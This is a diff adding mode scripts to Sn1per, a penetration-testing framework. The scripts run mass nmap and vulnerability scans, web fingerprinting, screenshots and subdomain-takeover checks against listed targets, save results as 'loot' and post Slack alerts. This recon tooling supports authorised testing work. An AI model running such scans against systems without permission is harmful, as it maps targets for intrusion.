+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  sniper -f $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt -m flyover -w $WORKSPACE
+  exit
+fi

modes/flyover.sh

@@ -0,0 +1,165 @@
+# FLYOVER MODE ######################################################################################################
+if [[ "$MODE" = "flyover" ]]; then
+  if [[ -z "$FILE" ]]; then
+    logo
+    echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
+    exit
+  fi
+
+  if [[ "$REPORT" = "1" ]]; then
+    if [[ ! -z "$WORKSPACE" ]]; then
+      args="$args -w $WORKSPACE"
+      WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+      echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+      mkdir -p $WORKSPACE_DIR 2> /dev/null
+      mkdir $WORKSPACE_DIR/domains 2> /dev/null
+      mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
+      mkdir $WORKSPACE_DIR/nmap 2> /dev/null
+      mkdir $WORKSPACE_DIR/notes 2> /dev/null
+      mkdir $WORKSPACE_DIR/reports 2> /dev/null
+      mkdir $WORKSPACE_DIR/output 2> /dev/null
+    fi
+
+    args="$args -f $FILE -m flyover --noreport --noloot"
+    echo -e "$OKRED "
+    echo -e "$OKRED                     .                             .                           "
+    echo -e "$OKRED                    //                             "'\\\\                          '
+    echo -e "$OKRED                   //                               "'\\\\                         '
+    echo -e "$OKRED                  //                                 "'\\\\                        '
+    echo -e "$OKRED                 //                _._                "'\\\\                      '
+    echo -e "$OKRED              .---.              .//|"'\\\\.              .---.                    '
+    echo -e "$OKRED    ________ / .-. \_________..-~ _.-._ ~-..________ / .-. \_________ -sr      "
+    echo -e "$OKRED             \ ~-~ /   /H-     \`-=.___.=-'     -H\   \ ~-~ /                   "
+    echo -e "$OKRED               ~~~    / H          [H]          H \    ~~~                     "
+    echo -e "$OKRED                     / _H_         _H_         _H_ \                           "
+    echo -e "$OKRED                       UUU         UUU         UUU     "
+    echo -e "$OKRED "
+    echo -e "$RESET"
+    echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/$WORKSPACE-$MODE.txt
+    sniper $args | tee $WORKSPACE_DIR/output/sniper-$WORKSPACE-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+    echo "$FILE $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+    echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${WORKSPACE}_${MODE}.txt
+    ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+    echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+    fi
+    args=""
+    cp $LOOT_DIR/nmap/livehosts-sorted.txt $LOOT_DIR/nmap/livehosts-sorted.old 2> /dev/null
+    i=1
+
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]${RESET} Collecting DNS, ports, HTTP info and screenshots in background.${RESET}"
+    echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]${RESET} All collected info will be saved to ${OKRED}${LOOT_DIR}${RESET}"
+    echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]${RESET} FLYOVER_MAX_HOSTS=$FLYOVER_MAX_HOSTS ${RESET}"
+    echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]${RESET} FLYOVER_DELAY=$FLYOVER_DELAY ${RESET}"
+    
+    for HOST in `cat $FILE`; do
+      TARGET="$HOST"
+      echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+      touch $LOOT_DIR/scans/$TARGET-$MODE.txt 2> /dev/null
+      echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
+      echo "sniper -t $TARGET -m $MODE $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+      ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKBLUE[*]$RESET SCANNING:$RESET $OKBLUE[$RESET${OKGREEN}${TARGET}${RESET}$OKBLUE]$RESET"
+      dig all +short $TARGET 2> /dev/null > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null & 
+      dig all +short -x $TARGET 2> /dev/null >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null & 
+      wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 http://$TARGET |  perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-http-$TARGET.txt & 2> /dev/null
+      wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 https://$TARGET |  perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null
+      curl --connect-timeout 5 -I -s -R --insecure http://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null & 
+      curl --connect-timeout 5 -I -s -R --insecure https://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null &
+      curl --connect-timeout 5 -s -R -L --insecure http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null &
+      curl --connect-timeout 5 -s -R -L --insecure https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null &
+      webtech -u http://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-http.txt 2> /dev/null &
+      webtech -u https://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-https.txt 2> /dev/null &
+      mv -f $LOOT_DIR/nmap/ports-$TARGET.txt $LOOT_DIR/nmap/ports-$TARGET.old 2> /dev/null
+      nmap -sS -p $QUICK_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null & 
+      WEBHOST=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null | egrep "80|443" | grep open | wc -l 2> /dev/null) 
+      if [[ "$WEBHOST" -gt "0" ]]; then
+        echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
+      fi
+      cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" 2>/dev/null | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null & 2> /dev/null
+      if [[ $CUTYCAPT = "1" ]]; then
+        if [[ $DISTRO == "blackarch"  ]]; then
+          /bin/CutyCapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null &
+          /bin/CutyCapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null &
+        else
+          cutycapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null > /dev/null &
+          cutycapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null > /dev/null &
+        fi
+      fi
+      if [[ $WEBSCREENSHOT = "1" ]]; then
+        cd $LOOT_DIR
+        python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80 2> /dev/null > /dev/null &
+        python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443 2> /dev/null > /dev/null &
+      fi
+      echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
+      echo "$TARGET" >> $LOOT_DIR/domains/targets-all-presorted.txt
+      rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+      ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt 2> /dev/null
+      RUNNING_TASKS=$(wc -l $LOOT_DIR/scans/tasks-running.txt 2> /dev/null)
+
+      i=$((i+1))
+      if [[ "$i" -gt "$FLYOVER_MAX_HOSTS" ]]; then
+        i=1
+        sleep $FLYOVER_DELAY
+      fi
+    done
+    sleep $FLYOVER_DELAY
+    sort -u LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
+    sort -u $LOOT_DIR/domains/targets-all-presorted.txt 2> /dev/null > $LOOT_DIR/domains/targets-all-sorted.txt
+    rm -f $INSTALL_DIR/wget-log* 2> /dev/null
+    killall webtech 2> /dev/null
+    rm -f $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
+    for TARGET in `cat $LOOT_DIR/domains/targets-all-sorted.txt`; do
+      HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null | grep "host up" 2> /dev/null)
+      if [[ ${#HOST_UP} -ge 2 ]]; then
+        echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
+      fi
+      for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
+        echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt 
+      done
+      cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/null | egrep "MAC Address:" | awk '{print $3 " " $4 " " $5 " " $6}' > $LOOT_DIR/nmap/macaddress-$TARGET.txt 2> /dev/null
+      cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt $LOOT_DIR/output/nmap-$TARGET-*.txt 2>/dev/null | egrep "OS details:|OS guesses:" | cut -d\: -f2 | sed 's/,//g' | head -c50 - > $LOOT_DIR/nmap/osfingerprint-$TARGET.txt 2> /dev/null
+      diff $LOOT_DIR/nmap/ports-$TARGET.old $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null
+    done
+    sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
+    diff $LOOT_DIR/nmap/livehosts-sorted.old $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.diff 2> /dev/null
+
+    if [[ -s "$LOOT_DIR/nmap/livehosts-sorted.diff" ]]; then
+      echo "[sn1persecurity.com] •?((¯°·._.• Host status change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+      cat $LOOT_DIR/nmap/livehosts-sorted.diff | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt
+      if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Host status change detected on $WORKSPACE (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/livehosts-sorted.diff"
+      fi
+    fi
+
+    for a in `cat $LOOT_DIR/domains/targets-all-sorted.txt 2> /dev/null`
+    do
+      diff $LOOT_DIR/nmap/ports-$a.old $LOOT_DIR/nmap/ports-$a.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$a.diff 2> /dev/null
+      if [[ -s "$LOOT_DIR/nmap/ports-$a.diff" ]]; then
+        echo "[sn1persecurity.com] •?((¯°·._.• Port change detected on $a (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        cat $LOOT_DIR/nmap/ports-$a.diff | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt
+        if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
+          /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Port change detected on $a (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+          /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/ports-$a.diff"
+        fi
+      fi
+    done
+    sed -i -E 's/,//g' $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
+    rm -f $LOOT_DIR/scans/running_${WORKSPACE}_${MODE}.txt 2> /dev/null
+    ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+    fi
+    if [[ "$LOOT" = "1" ]]; then
+      loot
+    fi
+    
+  fi
+  exit
+fi

modes/fullportonly.sh

@@ -0,0 +1,112 @@
+# FULLPORTONLY MODE
+if [[ "$MODE" = "fullportonly" ]]; then
+  if [[ "$REPORT" = "1" ]]; then
+    args="-t $TARGET"
+    if [[ ! -z "$WORKSPACE" ]]; then
+      args="$args -w $WORKSPACE"
+      LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+      echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+      mkdir -p $LOOT_DIR 2> /dev/null
+      mkdir $LOOT_DIR/domains 2> /dev/null
+      mkdir $LOOT_DIR/screenshots 2> /dev/null
+      mkdir $LOOT_DIR/nmap 2> /dev/null
+      mkdir $LOOT_DIR/notes 2> /dev/null
+      mkdir $LOOT_DIR/reports 2> /dev/null
+      mkdir $LOOT_DIR/scans 2> /dev/null
+      mkdir $LOOT_DIR/output 2> /dev/null
+    fi
+    args="$args --noreport -m fullportonly" 
+    echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+    echo "sniper -t $TARGET -m $MODE --noreport " >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt
+    ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+    sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+    exit
+  fi
+  logo
+  echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
+  if [[ -f "/usr/share/sniper/pro/.portscanner.conf" ]]; then
+    source /usr/share/sniper/pro/.portscanner.conf
+  fi
+  if [[ -z "$PORT" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    nmap $NMAP_OPTIONS -sU -sS --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
+    sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
+    rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
+    xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
+  else
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    nmap $NMAP_OPTIONS -sU -sS --script=/usr/share/nmap/scripts/vulners -p $PORT -oX $LOOT_DIR/nmap/nmap-$TARGET-tcp-port$PORT.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
+    sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
+    rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
+    xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
+  fi
+  cp -f $LOOT_DIR/nmap/nmapreport-$TARGET.html $LOOT_DIR/nmap/nmapreport-$TARGET-`date +"%Y-%m-%d-%H-%M"`.html 2> /dev/null
+  echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
+  rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+  HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null)
+  if [[ ${#HOST_UP} -ge 2 ]]; then
+    echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
+  fi
+  sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
+  mv -f $LOOT_DIR/nmap/ports-$TARGET.txt $LOOT_DIR/nmap/ports-$TARGET.old 2> /dev/null
+  for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
+    echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
+  done
+  diff $LOOT_DIR/nmap/ports-$TARGET.old $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null
+  cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/null | egrep "MAC Address:" | awk '{print $3 " " $4 " " $5 " " $6}' > $LOOT_DIR/nmap/macaddress-$TARGET.txt 2> /dev/null
+  cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt $LOOT_DIR/output/nmap-$TARGET-*.txt 2>/dev/null | egrep "OS details:|OS guesses:" | cut -d\: -f2 | sed 's/,//g' | head -c50 - > $LOOT_DIR/nmap/osfingerprint-$TARGET.txt 2> /dev/null
+  if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt"
+  fi
+  if [[ -s "$LOOT_DIR/nmap/ports-$TARGET.diff" ]]; then
+    echo "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    cat $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null 
+    if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/ports-$TARGET.diff"
+    fi
+  fi  
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING SC0PE PASSIVE WEB VULNERABILITY SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    SSL="false"
+    PORT="80"
+    source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+    SSL="true"
+    PORT="443"
+    source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+    for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
+      source $file
+    done
+    source $INSTALL_DIR/modes/sc0pe-network-scan.sh    
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    source $INSTALL_DIR/modes/sc0pe.sh 
+  fi
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED SCAN COMPLETE! $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  loot
+  exit
+fi
+
+if [[ "$MODE" = "port" ]]; then
+  if [[ -z "$PORT" ]]; then
+    echo -e "$OKRED + -- --=[Error: You need to enter a port number. $RESET"
+    exit
+  fi
+fi

modes/fullportscan.sh

@@ -0,0 +1,54 @@
+if [[ "$FULLNMAPSCAN" = "0" ]]; then
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED SKIPPING FULL NMAP PORT SCAN $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+else
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  mv -f $LOOT_DIR/nmap/ports-$TARGET.txt $LOOT_DIR/nmap/ports-$TARGET.old 2> /dev/null
+  nmap $NMAP_OPTIONS -sU -sS --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
+  sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
+  rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
+  xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
+  cp -f $LOOT_DIR/nmap/nmapreport-$TARGET.html $LOOT_DIR/nmap/nmapreport-$TARGET-`date +"%Y-%m-%d-%H-%M"`.html 2> /dev/null
+  if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
+  fi
+  sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null
+  rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
+  HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null)
+  if [[ ${#HOST_UP} -ge 2 ]]; then
+    echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
+  fi
+  sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
+  rm -f $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null
+  for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
+    echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
+  done  
+  diff $LOOT_DIR/nmap/ports-$TARGET.old $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null
+
+  cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/null | egrep "MAC Address:" | awk '{print $3 " " $4 " " $5 " " $6}' > $LOOT_DIR/nmap/macaddress-$TARGET.txt 2> /dev/null
+
+  cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt $LOOT_DIR/output/nmap-$TARGET-*.txt 2>/dev/null | egrep "OS details:|OS guesses:" | cut -d\: -f2 | sed 's/,//g' | head -c50 - > $LOOT_DIR/nmap/osfingerprint-$TARGET.txt 2> /dev/null
+  
+  if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt"
+  fi
